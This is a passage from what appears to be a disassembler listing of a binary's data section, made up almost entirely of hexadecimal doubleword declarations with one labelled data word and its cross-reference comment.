		dd 0C365F49Eh, 0F0228FC1h, 0E34CE926h, 96101A0Bh, 0A5F04828h
		dd 0A6F90F54h, 0BF030E9Eh, 6EB010A9h, 190076DCh, 3D215AC9h
		dd 39B126CEh, 108368E3h, 0F16194FBh, 2BE54103h,	0E10C694Eh
		dd 0AAF89EAFh, 0B1A63F11h, 0C47D7782h, 0CE83CF2Dh, 4ED80E75h
		dd 6226C679h, 1C030CAFh, 0E09EC074h, 32E7CCh, 0FBD7585Ch
		dd 0D8BF71B4h, 0CBAED905h, 0DEC03625h, 7EE87h, 413BEC82h
		dd 0BFBF229h, 7D2521F0h, 33F0001Ch, 0B72786CCh,	0B12EFB70h
		dd 0A300E829h, 229A51E6h, 26F50C84h, 0F8C10E24h, 9055940Ch
		dd 0F34052h, 6651758Fh,	1BF15E28h, 0BA403500h, 94C306A1h
		dd 9A953A6Ah, 3F187D00h, 9654ED21h, 0E8B1761Fh,	0BE4D57C0h
		dd 3CF39A8Ah, 75804F89h, 9F2CF6DBh, 244A9D1Dh, 591FAC81h
		dd 4F3024h, 0ABC20921h,	1ABFE5C0h, 137D3F01h, 0A6478995h
		dd 944E7880h, 4130990Ah, 7F8F5107h, 0E46FC513h,	36C3FBF6h
		dd 1E591139h, 0DE9005Dh, 0F5D9408Bh, 8FE40104h,	0E16C966Fh
		dd 4A20879Ah, 5A506671h, 0AAF90Ch, 0B40F7C12h, 0AE764301h
		dd 1CDF1F00h, 0FA5E3C99h, 5819C075h, 15C1CE06h,	740E0BE8h
		dd 4723BDFDh, 0E4C33FBBh, 5FE8C0FBh, 98CAF0A6h,	41E70001h
		dd 57014E8Eh, 29E85816h, 8F977039h, 80617640h, 0CBD5A1CEh
		dd 0D9740F0Ch, 4E8044E2h, 7E05DAFFh, 64550900h,	31859446h
		dd 8B70C98h, 0B31819CFh, 3E60E524h, 93B46403h, 5F05C0F5h
		dd 38BAF06Eh, 28E079D8h, 29215866h, 0B4947B0Eh,	187AACE8h
		dd 0C1231D57h, 80DBDFB5h, 247C2F53h, 0AB00388Fh, 82D09908h
		dd 7E6A8D4h, 74B715ECh,	185503Ch, 7800C7AAh, 899619C1h
		dd 1FFC6D9Fh, 157D46Bh,	1C751D5Ch, 544EC59Ah, 42F9Ch, 7D415E9h
		dd 0C80328Dh, 299BA923h, 170DCF20h, 0E07635D5h,	41D8F0F8h
		dd 0B27FE41Eh, 35492160h, 3B2F11F9h, 0DA28A1CAh, 0CEF670ACh
		dd 66831B61h, 113C33C6h, 0E9319F21h, 621A1743h,	0CB092A86h
		dd 13410EC4h, 5B806F31h, 6A107F33h, 712DA90Ch, 1868868h
		dd 0DFCAA4B1h, 4065306Fh, 0A9BE76F0h, 63914260h, 618239Eh
		dd 3D02B8DCh, 686109D4h, 23660321h, 3C54B330h, 0B07A82E1h
		dd 0A1DE0C2Dh, 0E3C0D8A5h, 26EC7512h, 8B432C02h, 48808279h
		dd 0D0B2207Dh, 0FB056114h, 64E40DC0h, 2DB3A801h, 0A882E2F8h
		dd 969F92B4h, 0D61CB1h,	0C05990F6h, 0F1D0BA90h,	55007A81h
		dd 1B0B123Dh, 688F72Dh,	0D9F5AF25h, 181C505Eh, 854F34CAh
		dd 7B8600D8h, 154E8855h, 0E877AB0Ch, 0C0EF1600h, 0DD8AAF10h
		dd 0A2F75819h, 21835E08h, 0F9C097B5h, 0DCCC6788h, 352DAF1Dh
		dd 0E84860B0h, 605349A1h, 3E6BAE00h, 27E24211h,	18790E24h
		dd 0CCCFB480h, 5C551F60h, 180EED7Eh, 0DDA1AF34h, 5893762Ah
		dd 230899C4h, 0C460DC0Bh, 61805E59h, 99F75223h,	7C571480h
		dd 0AB01C84Dh, 0BC0CA38Ah, 10B98030h, 0B7580FF0h, 0E35D3CDCh
		dd 1507C889h, 0EB3FC800h, 1016646Fh, 0BA10A9CAh, 51787AE0h
		dd 76911E3Fh, 0C04A44Ch, 0C9620E25h, 82173B6Eh,	772CF981h
		dd 987CE17Ah, 0A4215208h, 6882020Fh, 28886DF9h,	1C420442h
		dd 60646363h, 19601350h, 0F9239C82h, 0AD117Ch, 1B82118Eh
		dd 602D0Ch, 0FA0F2684h,	0F1F07B2Fh, 0BC1FFC28h,	31CE7FF4h
		dd 1CB320A6h, 6AC3C6h, 562E30B1h, 0CCE08BF4h, 33ABA4A8h
		dd 0A04380h, 0D2CE58Ah,	0DECDA34Ah, 93BAF51Ch, 2A7D409h
		dd 0D6C5CCh, 46D84EEFh,	0A9482092h, 544C0010h, 0F1DE83FBh
		dd 0A691EA4h, 0CC983F74h, 0F9C2F816h, 0C060D2EFh, 0D831044Eh
		dd 530F79D2h, 26B8B180h, 5C4BD6D3h, 0E956C600h,	0B2E6B3DFh
		dd 0BD70901h, 0EC8449A8h, 10AC5064h, 95064690h,	600709F1h
		dd 0AD81A702h, 683CD910h, 0B8F88318h, 92BB0142h, 5E03BE64h
		dd 23088047h, 0DF67F57h, 9FE3049Ch, 8696987Dh, 5841D9A0h
		dd 0A74CCE4h, 90F76B44h, 4674FD0h, 11C94CDDh, 732DCD12h
		dd 0F830DC52h, 16BB39C1h, 2818C5E8h, 0DF510400h, 0FD502120h
		dd 9341836Ah, 1C3EFC33h, 58F048C1h, 0E5AF40ACh,	2856CD30h
		dd 0A4FB5E61h, 62190888h, 0CA043334h, 1CC14036h, 0B8337920h
		dd 48770B10h, 1912378h,	0DC19239Fh, 80B42370h, 0BE236714h
		dd 2EAD019Dh, 0F85E8243h, 23BC5DB9h, 30CFA2D4h,	0B00EC6Dh
		dd 738238F7h, 60A96360h, 0C1A17957h, 355BBB7Fh,	1302E4BCh
		dd 57629066h, 99E0E763h, 4860969Eh, 0AFC76C59h,	58AE304Eh
		dd 7AB39C41h, 0F555A8E6h, 44081E8h, 0BA7F6D84h,	1A01A98Ah
		dd 198020FCh, 0D02789A1h, 1591600Fh, 26ABA8A0h,	913D4A8h
		dd 890F05E2h, 87C42AE9h, 52C0F0A0h, 0CD79ADCh, 5EA96214h
		dd 3700AA59h, 0CEEEFCB3h, 3E91337Eh, 0B58051AFh, 0C1E9293Ch
		dd 0D0A1566Dh, 300FDD98h, 3B206540h, 1308B00Bh,	48088F54h
		dd 0EDC002D4h, 46AF12C0h, 12B225Ah, 0FEC095BBh,	50D1C6BCh
		dd 0ED22B6B8h, 2C24A900h, 89E2B98Fh, 0DE3900B5h, 0A1AAECA3h
		dd 9A00C013h, 113D2E0Ah, 0AC6B431Ah, 31101DE8h,	883F51ECh
		dd 287280CAh, 0E5D57331h, 4AD99A00h, 0DA093C95h, 4CB1EEDDh
		dd 0F90520CEh, 2F50BDh,	0FB5ABBACh, 35F6C491h, 0C4103A4Ch
		dd 0F8196118h, 8E81803h, 92AF1BC0h, 0B04059C4h,	0D9AEC090h
		dd 16AD4D07h, 7CF705B3h, 0BCD08544h, 92CCBD24h,	67250094h
		dd 1E1497E1h, 2F12F15Bh, 0A840650Eh, 0EA6E1A49h, 0AD480246h
		dd 0CAB8FB64h, 2EBC8C48h, 306A38A1h, 7F0310E5h,	0F7478577h
		dd 0CF54E0BBh, 0AF3234C1h, 0D080CCA1h, 0F93C7B00h, 865D7515h
		dd 55AE2494h, 0D2CC9E18h, 45071EF1h, 81B18EBh, 0E9C01680h
		dd 46AF2EC0h, 0B78875BAh, 0FBC00091h, 39904BC2h, 0F0FA40EBh
		dd 347F1424h, 0C023F700h, 9BEAB95Ah, 1F2C2454h,	1F0420B1h
		dd 850EC8FAh, 7A2D408Ch, 61F4A9E5h, 9E15AFCh, 414C64A2h
		dd 1DD56440h, 78484340h, 0ADE51ACCh, 0C471049h,	4A60D544h
		dd 0AE071538h, 0B9032FDAh, 0F9D80160h, 4474B251h, 3D07AF52h
		dd 0BA642D39h, 3E6C05Fh, 0A90722h, 0FCBB2B9Dh, 0E43414F6h
		dd 0A84B95Dh, 0CAF0C965h, 9947CC00h, 0A92460h, 0F7341613h
		dd 0F58ADD72h, 94237426h, 9D8F9711h, 80DC1762h,	16106731h
		dd 1E722365h, 32E02D18h, 98A46FF1h, 6610E1E8h, 687DA935h
		dd 70970818h, 4BF43DD0h, 0AE04068Dh, 0B000514Bh, 0AC2F831h
		dd 1E080C46h, 6EC8F1C0h, 60284420h, 2399820Ah, 561164F9h
		dd 8202A500h, 0F42ED257h, 10D0EA58h, 0CE022498h, 12015AE4h
		dd 82182890h, 14F99F11h, 0A3805788h, 0F71C8210h, 0AF86142Ch
		dd 0C060C2FDh, 0FBE60E04h, 0CC85BD06h, 12F03FBBh, 8571A0Bh
		dd 96C11168h, 94212DC0h, 0B6C03872h, 666BC0BEh,	466265FEh
		dd 57DC168h, 9DBC20AEh,	0CF1CFA0Ch, 7ADD26B0h, 0C1BFC083h
		dd 4D6E898Ah, 1FA464F0h, 827F3DFCh, 0FD2D3F19h,	0C7BBD091h
		dd 8DFC00BDh, 0AB65E9A3h, 0E500CCB1h, 0C75C6D78h, 19B41F0Dh
		dd 0D145FE0Eh, 6C8D054h, 0EC1712FEh, 0C0372311h, 83CB3440h
		dd 38B4007Bh
		dd 49CDB05Ch, 0E17C0F39h, 5C40042Ch, 0A97E7040h, 0CA1F0A4Eh
		dd 0A6B4FBEEh, 571150h,	14415626h, 0FFB601Bh, 5B3F2E8Ah
		dd 97BAC94h, 1AE9E8B7h,	0E1542400h, 0DB4CE789h,	0CE0114B4h
		dd 70F212C0h, 0DC31800h, 0C0D607F4h, 0D2C14359h, 3003028h
		dd 0F935192Ah, 3CD4843Ah, 0B0890248h, 0E004E9DEh, 31196060h
		dd 8C27EAEBh, 773CC44h,	0ADE23111h, 96FA06B4h, 0F4C1A5Dh
		dd 0C4DF81Ch, 2A13104Eh, 7987D0Fh, 8A1E718Fh, 0B0EB802Ch
		dd 72E255B6h, 773CF901h, 52AE7B88h, 0A38BB980h,	62DB690Fh
		dd 22EB0400h, 2FCFF2BCh, 883A04DDh, 0C232FC12h,	54503360h
		dd 69670E30h, 1D58C49h,	7C289EF6h, 20C80DFBh, 1158E8A8h
		dd 5A64C0F4h, 0C75B98h,	0F181FB06h, 7AE5A7A9h, 53D95405h
		dd 18C12BDBh, 90420278h, 311A3061h, 2F46EA75h, 4000D922h
		dd 51293112h, 7DCBB49h,	0E3E5CA1Eh, 187D8093h, 0A14ACE0Ch
		dd 0EFAE984Ah, 9C01CE38h, 6651D5A9h, 0C0CC8021h, 0B828F3C1h
		dd 0E04DF904h, 0E13035Fh, 1CF10051h, 5777DF26h,	0CD006C1Dh
		dd 0D87BCC6Eh, 4ED8E0Eh, 19ABFB71h, 0CB8080AFh,	80BA69D9h
		dd 9948BE09h, 90CC69F5h, 23089818h, 0C468DC0Ah,	60475C5Bh
		dd 0C850C223h, 25CBF17Ah, 0AC8299A9h, 0E44D0Fh,	3CC55E0Bh
		dd 392022B7h, 0B0082271h, 7C1DDC8Bh, 3E872391h,	931A3019h
		dd 0D4020CA0h, 85FB72F1h, 1FC87078h, 30F9D9CAh,	79BD2790h
		dd 0ECA49492h, 0F3FD3501h, 6E82C331h, 0F9FA5EE0h, 0CB5804C2h
		dd 0C052C894h, 0C0A24134h, 96EBA3Ah, 684CF1DCh,	65BE8394h
		dd 2EB6C118h, 542330h, 3799181Ah, 0B1EE30F7h, 0B8C0F47Dh
		dd 0CEB713FBh, 185B5803h, 8CADBCh, 51F3BE12h, 0C1B507B7h
		dd 0C84A681Dh, 0A1733D0Bh, 6701FD1Ch, 557FAE01h, 46813A0h
		dd 0B4FC830h, 11649D0Bh, 0DB658059h, 5FD5C8h, 0C3A2A3D1h
		dd 0D704EA7Ch, 9D29B169h, 80241128h, 80352207h,	7F4D0C7Bh
		dd 84B96DBDh, 3CDDA912h, 75FB8001h, 0C09D77C4h,	0D8E97Ah
		dd 3E7807Fh, 7C26B70Eh,	242803B3h, 23048E4Ch, 312C0467h
		dd 98EDC4E8h, 4688D804h, 317B24h, 0A1CD630Fh, 0ACF7BB1h
		dd 0AE5E110Ah, 9480C460h, 0CDF1191Eh, 2A549E7Eh, 43E54548h
		dd 7CC4C6Ch, 3A862D13h,	60849480h, 28EFB160h, 0B424734Fh
		dd 5AB200B2h, 3380830h,	0CCBE61C7h, 0E8E9A8BDh,	71C874F5h
		dd 450E550h, 9FA0C958h,	0B2512D0Fh, 55FF1000h, 943AF076h
		dd 800F116Ch, 0AF2FC0ECh, 5F448CB2h, 0C09400B4h, 0EE93045Eh
		dd 901D8518h, 1910D1F0h, 715EC4Eh, 5B9BF0Ch, 48C866A0h
		dd 0B8F312AFh, 0D0E80051h, 70C1CE84h, 4442E4AAh, 295A50C4h
		dd 6F233C2Eh, 0CE74A200h, 58C8A1Ah, 5E1CC767h, 7F90C8F5h
		dd 3164B331h, 0C9802FABh, 2080A347h, 230414C3h,	1783401Fh
		dd 61FDC0C1h, 0C802C028h, 51E53384h, 0C63D80D9h, 0EF312D0Fh
		dd 301C47ABh, 31257F07h, 8EC09849h, 24F0BB2Eh, 84D85548h
		dd 1C6601D5h, 0EC2F29D3h, 0B1006723h, 684BB3FAh, 0E4350A53h
		dd 18FCECEAh, 0A581A106h, 1FD9A115h, 7652360h, 0D4EE312Eh
		dd 0C024E24Fh, 6531267Ch, 0B0E47157h, 7110215h,	0AD5E4908h
		dd 0AC8800D1h, 3A341320h, 8C7504h, 6CC206CFh, 86569D39h
		dd 0B209527h, 8AA4003Ch, 24D83B2Bh, 0F8CFB9h, 5904AD80h
		dd 3404BEEBh, 0FD89BB9Dh, 0E996A883h, 2478104Fh, 8C59BCh
		dd 0C80FDB84h, 44B117CAh, 94898600h, 59E8BBF8h,	84095950h
		dd 81D0480Eh, 7218D2D2h, 0C1EEB848h, 197C7532h,	90BC5AD4h
		dd 647A4594h, 48805D1Ch, 0B07E59D8h, 5EA2C453h,	213530h
		dd 0C383A97Dh, 8A2496F4h, 709FE100h, 0D4D14B95h, 0D46654D5h
		dd 0A3BB0045h, 59EBAB26h, 1171BE84h, 7D5CB1Dh, 0A13AFC1h
		dd 1860A61Bh, 0C04E40A4h, 90B8F12Ch, 75604D41h,	5AD3188Fh
		dd 54258F03h, 0AFC0B8E3h, 0EC96552Dh, 0E7CA1F00h, 4856BDFFh
		dd 50F8ECCEh, 7CE2008Ch, 0C8CC9239h, 0F003A0Dh,	509ECBF7h
		dd 4A3CA935h, 14142010h, 4800D3FFh, 789FBC70h, 1A552A9h
		dd 75EF12BBh, 94B70C43h, 80880EF0h, 0D88AB1B8h,	6977A4Fh
		dd 5FF67F9Fh, 760551FBh, 0A62E19E8h, 301104C2h,	9E12820Bh
		dd 0F0CB0CF9h, 8203A000h, 6020971Eh, 6DF83A04h,	0A14244BCh
		dd 1C72CC71h, 14022646h, 34F96382h, 0A710A931h,	20E3820Ch
		dd 0E4055A88h, 8DE84865h, 16A9F4E0h, 0CCCB070Eh, 625F7164h
		dd 50DCF844h, 0C3CEB540h, 0F49E75F9h, 66522D80h, 2D834893h
		dd 0D8803EFCh, 96EE55FDh, 0E7B8B860h, 0A6C21995h, 7964401Ch
		dd 78C078E4h, 0A12CD9C0h, 14EC9809h, 0A09E1C83h, 28CA9E8h
		dd 0F849CCDCh, 0EC516E3Dh, 2118D579h, 3F157A1Dh, 335AF700h
		dd 0E4CA1EF9h, 819096D8h, 0D4D63D61h, 7A08C850h, 105B8300h
		dd 74382F37h, 0A480ACBh, 0E8C8CADh, 0A442C3FDh,	0D0C0B192h
		dd 0F150A5A9h, 0C82E20E4h, 4674AC44h, 5007622h,	0FEE3FFB5h
		dd 793AA52h, 0CAB6F733h, 40612734h, 0D8BA92EEh,	0C43E624Ah
		dd 66005E23h, 9DE3DEB0h, 8E8894D5h, 0C6C0D72Ah,	59495C16h
		dd 0E8AEF000h, 9E754B9Dh, 27BF602h, 0BDF92A94h,	604021F8h
		dd 0BE9545AAh, 2EB20044h, 12A75B20h, 591F6A47h,	0B71F381Ah
		dd 5D933D00h, 923727h, 6A1D015Ah, 761F45A2h, 1E2DBC0Eh
		dd 2767E086h, 2812B08Eh, 9ED45A34h, 5B465E00h, 0AED23907h
		dd 2EA88A9Ch, 57465EBCh, 0F345FF00h, 61F5AF8Bh,	0BCA87C48h
		dd 0C945866Ch, 4C0CA401h, 42940405h, 75E3605Dh,	20296088h
		dd 11578A43h, 20FE1229h, 145993C7h, 5664BEB4h, 9400A846h
		dd 22FC9540h, 853DF5A6h, 1000DEA9h, 0D7B33ACFh,	8EC8C9AFh
		dd 2B715059h, 4005E18h,	26EF76CBh, 5BB181BAh, 1FFC64BDh
		dd 5E6510ACh, 0FE113820h, 13540E86h, 0AE045EFCh, 11C8F244h
		dd 231D5CBCh, 0B2A904FDh, 0D7360E61h, 6642401Ch, 68190390h
		dd 5980183h, 0D5840496h, 61D4F47Bh, 0BBA16B05h,	1FC07569h
		dd 5B9EA8C1h, 74884096h, 35C77752h, 24F41B58h, 1F960069h
		dd 99D9AC00h, 58AEF1C2h, 5C789034h, 86849CC3h, 1B9E8070h
		dd 73004579h, 27A313CFh, 0D55319h, 0FB2324Eh, 6DC1CC90h
		dd 60C1CD4Bh, 0BD00433Bh, 53003010h, 0DE5F84E2h, 0E7B522h
		dd 0F7353D5Ah, 8C8B2439h
		db 3Bh,	0E3h
word_505446	dw 92DBh		; DATA XREF: ___:off_436CE0o
		dd 50A4D973h, 4C691F5Dh, 80D016F0h, 877FC3A4h, 0E8C04758h
		dd 0C0158C68h, 4C54E2h,	0F865569Ch, 1AB282Ah, 195EC6FCh
		dd 38A84262h, 11342D30h, 0EC68DACCh, 517E4400h,	0B348913Dh
		dd 0FC800494h, 43D8E2E7h, 24E0FBh, 0BBB1CC56h, 397E9394h
		dd 1DCBF304h, 0F4A89834h, 82A48181h, 9C3A2A58h,	17006523h
		dd 0B2196355h, 34215BCCh, 0A1C8B6B8h, 0E9FDF09Eh, 9463A0F3h
		dd 7CD1699h, 41C020DEh,	4C41C9F5h, 4CB9D8E4h, 2F5EE0F4h
		dd 12223A4h, 0E741259Fh, 0D4FEC8DAh, 0FF2D6116h, 8A818823h
		dd 11F58D58h, 24F97820h, 2C2CD0C9h, 0F2B03FD0h,	81E5AFE1h
		dd 64690526h, 825C8309h, 0E0CAD82Ch, 303672D4h,	0B049E4C8h
		dd 0E73333E9h, 0E077113Dh, 50F6BE3h, 6AE28F0Ch,	29E8E362h
		dd 68D1CC40h, 60159918h, 4B07A0Eh, 0B0A09F64h, 0EF571A80h
		dd 0FEC30385h, 75B9CDAFh, 0AB146817h, 9C433840h, 0F7EF1C5Bh
		dd 0FE28002Bh, 0BB94DDECh, 1301E0B8h, 0E57EAE56h, 51C225EDh
		dd 58180018h, 2AF3FB6Dh, 76D5A400h, 681555F6h, 8F901DAh
		dd 340B77EEh, 13C3257h,	816779AEh, 60F22E9Dh, 95C7BB34h
		dd 51F868A0h, 7C273DECh, 143796h, 0BAFA1CD8h, 0E001E26h
		dd 0CEB4C5DAh, 94E999C1h, 56467618h, 0EFFFBE01h, 2AD96058h
		dd 0E1EB1C40h, 934D61Bh, 853EF511h, 5029705Bh, 0A5182A71h
		dd 0F5FD4F09h, 5C9C7254h, 5FBC548Eh, 8B5C008Ch,	0E3D3AD76h
		dd 0BC4B6273h, 0F1DC3803h, 94D2DCD5h, 4A9C91D1h, 0F8653C4h
		dd 0FC2CB768h, 2FBCA6A0h, 0A707FAEAh, 1DF1C0B4h, 0D4F30B05h
		dd 0B030A8A2h, 3A6300ECh, 0D42AA2BDh, 0FA126E0Bh, 9C069D25h
		dd 0A7A04960h, 676C447Ch, 15E0C170h, 0A449495Bh, 3ECA1080h
		dd 37147747h, 0F058E3h,	0C1EF4CCh, 1813093h, 0DDE91A57h
		dd 69C6B443h, 0C5510034h, 0A8C951Fh, 0F0BF3DBBh, 6AC0F700h
		dd 14B685A9h, 7F1C2893h, 0E465BA9Fh, 5E9C9E84h,	9100CA46h
		dd 332CFF7Dh, 48024A04h, 0F14089FBh, 42612064h,	0A64F15F4h
		dd 0BC60F488h, 7C17273Ch, 0FA8E5091h, 26F071C0h, 0D415D249h
		dd 0C9A070BCh, 5860DB29h, 0B000B55Dh, 3C5840Ch,	0EFBFFDE1h
		dd 0F3056862h, 21E6DFCh, 90E9F2CCh, 4891C54h, 414892CAh
		dd 10346638h, 27357411h, 3CAB0A3Bh, 417DD004h, 5A656AD2h
		dd 7AE8C2F9h, 820804EAh, 1404D9A6h, 0B25F0070h,	452E344Ah
		dd 0FEE50012h, 2C1E06C2h, 94BCD99Eh, 0F326BB80h, 4BC4863Eh
		dd 2398CC99h, 0A3E15413h, 5C6E106h, 29B90031h, 3B6EE2A7h
		dd 5D3F7824h, 0EBD58258h, 5E419FC9h, 0CE2D6278h, 0F041C64h
		dd 5D1A9DCh, 4AECA882h,	717C51F4h, 303185Fh, 9D59492Eh
		dd 9EEFAEC7h, 700964E6h, 3682F716h, 5CAD5405h, 7CCBE817h
		dd 72C0CAC8h, 10BAFBh, 6DD7CE03h, 0F9DC3714h, 0EEF6B525h
		dd 2D163E40h, 2961C0F0h, 8552F3F7h, 0FC353Ah, 278D436h
		dd 6F25D32h, 79D9EE05h,	0CB9B0ABh, 7DD80686h, 0D9662419h
		dd 73BB40CCh, 52F211FCh, 1F0D3805h, 80A863A5h, 0B33BD4C0h
		dd 69006A8Fh, 0D5D6900Fh, 4C0E8238h, 0B010344Fh, 848A9230h
		dd 86C050C8h, 0EEE69E27h, 33A21DA5h, 303A927Ah,	0A9847C98h
		dd 8CC9F128h, 3F4461Fh,	0A54816FEh, 0F37BAC80h,	402A5267h
		dd 67305AE2h, 0D2B44CD3h, 0C39EF10Bh, 0F96C451h, 4F1CFC20h
		dd 78B800D5h, 0F06B6C4Bh, 0A95A9A60h, 10AFD498h, 587E05D5h
		dd 71991AACh, 6004C48h,	0C5AB547Ch, 0C64FD0DFh,	8F0A4090h
		dd 109A06F0h, 79550F11h, 0BFDE020Eh, 33692045h,	0F5BB25h
		dd 0F7D570C0h, 4F6C1F2Dh, 0C0B3AA27h, 206D5650h, 110B5D39h
		dd 29FA0BCAh, 964D81Ch,	706F4156h, 142768F0h, 0C274CA60h
		dd 0A5040E48h, 48C2FB9Eh, 8BEA202Ch, 59EEC452h,	5663DD00h
		dd 0E7937944h, 89481246h, 0ED4F25Dh, 0E0490E61h, 20FC1582h
		dd 0BDC70925h, 0A89D1941h, 19805A11h, 0EF48866h, 86D00601h
		dd 0A84F08BBh, 77807022h, 0CAE0E903h, 7C20C14Bh, 4AB86DF9h
		dd 0E2A83430h, 3154B2F8h, 0F5C87189h, 0B856EECBh, 90217C28h
		dd 9C951152h, 0DC152342h, 10663190h, 0CE236B18h, 1FA9E7A4h
		dd 28FCB003h, 20DAA14Fh, 7479EBC2h, 0BD0814DCh,	0A8B72D59h
		dd 2EDCA200h, 1D7BAEF9h, 7E86FFB5h, 0F145FB93h,	7875D4ECh
		dd 3508019Dh, 803316B2h, 3D30CFA2h, 67B863h, 258DCD8h
		dd 0FA40C17Bh, 0CC06C24Bh, 31C9D9h, 780C9F74h, 90CD5A1Ah
		dd 909F96F8h, 1248BF28h, 6EB08h, 0BAB18E08h, 0CE0037C7h
		dd 4ADDEAF8h, 0B188786h, 8249E1F5h, 0AAE4F845h,	5F4BD067h
		dd 3B586CA2h, 0E0216E9h, 46C06432h, 0B0B7E438h,	5C98B63Ch
		dd 38022B46h, 1C4DF965h, 0C20058F8h, 0E1F0534h,	3449DBA0h
		dd 0C1E9C1D0h, 1564140h, 2C244AAEh, 159D00B6h, 448E6F0Bh
		dd 1D0404B8h, 0F1D8BBE6h, 80E29895h, 0E33023F2h, 88B30103h
		dd 891D31AFh, 442F2F2h,	945AEE89h, 8C06D4Bh, 4BCD4844h
		dd 23082FB7h, 0EDB00ABh, 0E089F515h, 4DCACB1Dh,	643E9998h
		dd 0C35C1661h, 7F00805Dh, 0FBEE946Ch, 0FC2ACB26h, 0F65465Eh
		dd 43E9DB46h, 2F4974BAh, 7C375FC9h, 0A16DCF00h,	31980F16h
		dd 9B6953A8h, 0A68EC7Ch, 7B34F603h, 0B89C6B20h,	9EB3BE0h
		dd 2DF9CA55h, 48E928A1h, 0BCB47C5Ah, 24008C59h,	0E262BC3Dh
		dd 9F7B6Ch, 0F0EB0B25h,	55F8019Ch, 0E1C720F6h, 0F7AF31A9h
		dd 0AC283029h, 3C8C24BCh, 40C63B3h, 0E192DC9h, 9A8C7854h
		dd 770FE801h, 29A967FBh, 65C6E080h, 0DBD11D46h,	126C4B48h
		dd 18C0D986h, 6C608A5h,	0E885F9BFh, 894982Eh, 60C2FB67h
		dd 23B84558h, 4C978D8h,	0D8DC401h, 79D8492Fh, 4FB0016Ah
		dd 3871452Dh, 0C010C814h, 0AF1CC0EBh, 882CEA4Fh, 0C09338B1h
		dd 7DA3DA00h, 3FADFFC4h, 36A96219h, 0A6F3968h, 562C88D0h
		dd 11012B46h, 0E475F80Ah, 103C394Fh, 8E27D14Dh,	0E8007C64h
		dd 2729CB35h, 0F08DE3h,	289D4185h, 3178BEE4h, 0C0DAC5Ch
		dd 6132BC0Fh, 1E7472h, 95874D91h, 662006D9h, 0F704600h
		dd 0E174CA17h, 0E5AC0C8Ah, 7F10309Eh, 38B0A4F4h, 347DF120h
		dd 0C1D153AEh, 7B0451C1h, 30E2A44Fh, 21CB6A09h,	0BE28A4D8h
		dd 0FB09FC4Eh, 5250846Dh, 0D9DD2140h, 465C8426h, 0BB6300ABh
		dd 0B01AF53Dh, 0A45B5C05h, 0C5FF00D2h, 0B6A51E6h, 0A763AB00h
		dd 0ECF2B19Bh, 12702C0Ah, 0FDDE0375h, 0B15DFC55h, 0D2B828h
		dd 0C43FE336h, 7CCA467h, 0DDED0E17h, 7AAFB409h,	25FB71D8h
		dd 0A890661Bh, 9C0AA311h, 89B02DA2h, 0E0A44803h, 18E2FCF0h
		dd 0A4305AF2h, 6DD20756h, 21A94108h, 7A55D9EEh,	0FA2D0004h
		dd 0CE43CA5h, 511C1FBFh, 0F4F81313h, 0EC026278h, 54BA7BA4h
		dd 48384B2Ah, 994E2042h, 0F56420D0h, 848C265Ch,	5E047514h
		dd 9EC4B8A9h, 0EE292DBBh, 2F934EC4h, 0CF23ECh, 8E0B9B6Bh
		dd 0D32542B5h, 0F66403B0h, 44714C63h, 7133A60Fh, 0E9EBCA80h
		dd 0B51B0Bh, 57274ADCh,	0A9CB12DFh, 0F94A0D5h, 0F9E7E8B1h
		dd 1BE0C3h, 0D5230D18h,	113D6BD0h, 4EFCE890h, 71DC9184h
		dd 2F821824h, 8E64DDFh,	0B8FBB501h, 0CAE1A35Ch,	4D469880h
		dd 1EE08D6Ch, 0E30EEEF2h, 3D7A78ECh, 6CB663D3h,	5F9EB5E0h
		dd 0C5C1F00Ch, 0A0677865h, 804930D0h, 0CD784F2Dh, 549D7D5Eh
		dd 23042F7Bh, 0BFB2005Fh, 764BC2DEh, 7C61BE03h,	0FD281ABh
		dd 386A79E0h, 9F347898h, 7C6A3C9Ch, 1654674h, 0F7ACFFEh
		dd 7C682B90h, 48C5BB8h
		dd 1240F01Ah, 41B0C343h, 34C70BE2h, 2761AA64h, 0B3BBC0AFh
		dd 6D332509h, 0EB4C0EF6h, 46084E3Ah, 239C0294h,	4788DC16h
		dd 641500F0h, 0E0F43423h, 0C9036BE0h, 0F91F6CF3h, 5D48223Dh
		dd 4B001DEEh, 0A25E24B6h, 6BE86Dh, 351EDD0Ch, 63C46C7Eh
		dd 5140409Ch, 5297F2Eh,	17A92310h, 4864BD61h, 0E4204FF8h
		dd 130E056h, 0CBE35A4Dh, 2F6F408Ah, 0DF3CB414h,	6C18DB0Ah
		dd 68465Ch, 24F72ED9h, 283F86F6h, 0EE68AEECh, 1B2F002Ah
		dd 697296B3h, 250BF41Ch, 0D380C27Ch, 2E11C4h, 86522532h
		dd 0F9083Dh, 4B1B7CFh, 0EEEAE406h, 1F2DD117h, 8B5BB8B7h
		dd 0C7D8C844h, 7E47403Ah, 0BA4867EDh, 0C8872DE8h, 5B2D23D0h
		dd 28EC89E1h, 8C57ECF4h, 0C9903D0Bh, 51C04CEh, 7B03A640h
		dd 0CC3B6962h, 6B9180B6h, 2C1D9830h, 31E527AFh,	3C7CE842h
		dd 2CC703DCh, 0BDF81C36h, 282713B1h, 2D26821Ch,	0E860C4E3h
		dd 302095D4h, 7C5DF5AFh, 63C2980h, 0AB2703C0h, 630F2175h
		dd 0E095FDA0h, 0D0A7ED83h, 80E4BEC6h, 0E1994CDDh, 0D16C985h
		dd 70810BEFh, 41D5EE4Ah, 0A90D4836h, 7AE17DCDh,	0FCF68474h
		dd 0EA983EA3h, 0F4C3C9F9h, 5A5CDE07h, 0D6948821h, 0E82BA000h
		dd 7A1F917Ch, 0DC471C0Bh, 172280F8h, 2C664134h,	4DFDA909h
		dd 0B924467Dh, 182359B0h, 0C0D15CA0h, 0DF9B0607h, 7FDC21CDh
		dd 4437B80h, 0E561CB42h, 0AC1798EDh, 0C85C8E24h, 540AC059h
		dd 9512B672h, 3030B3FEh, 1ED0DBC4h, 0EEFB32E4h,	45BF0109h
		dd 639788F2h, 0CEA31DE4h, 0C0A9C4C9h, 0FE5B02C4h, 32F02D0Fh
		dd 990514E0h, 44921624h, 0CC4674h, 0F2A9FADh, 4BDC6A60h
		dd 0B210745Eh, 30A8F2ECh, 8300B507h, 1B746552h,	28F52F23h
		dd 1DDC7F11h, 9A5D89BBh, 0C0D1AC6Ch, 6101342Bh,	2C1475FBh
		dd 212E9097h, 450D50Ch,	70088A2h, 0B7F492CEh, 33F4152Dh
		dd 9EA6BB16h, 0CAEC7804h, 0AC0CF824h, 6A398C5Bh, 7579751h
		dd 5E11D009h, 2FE0038h,	562CFD35h, 7F662E06h, 0B394181h
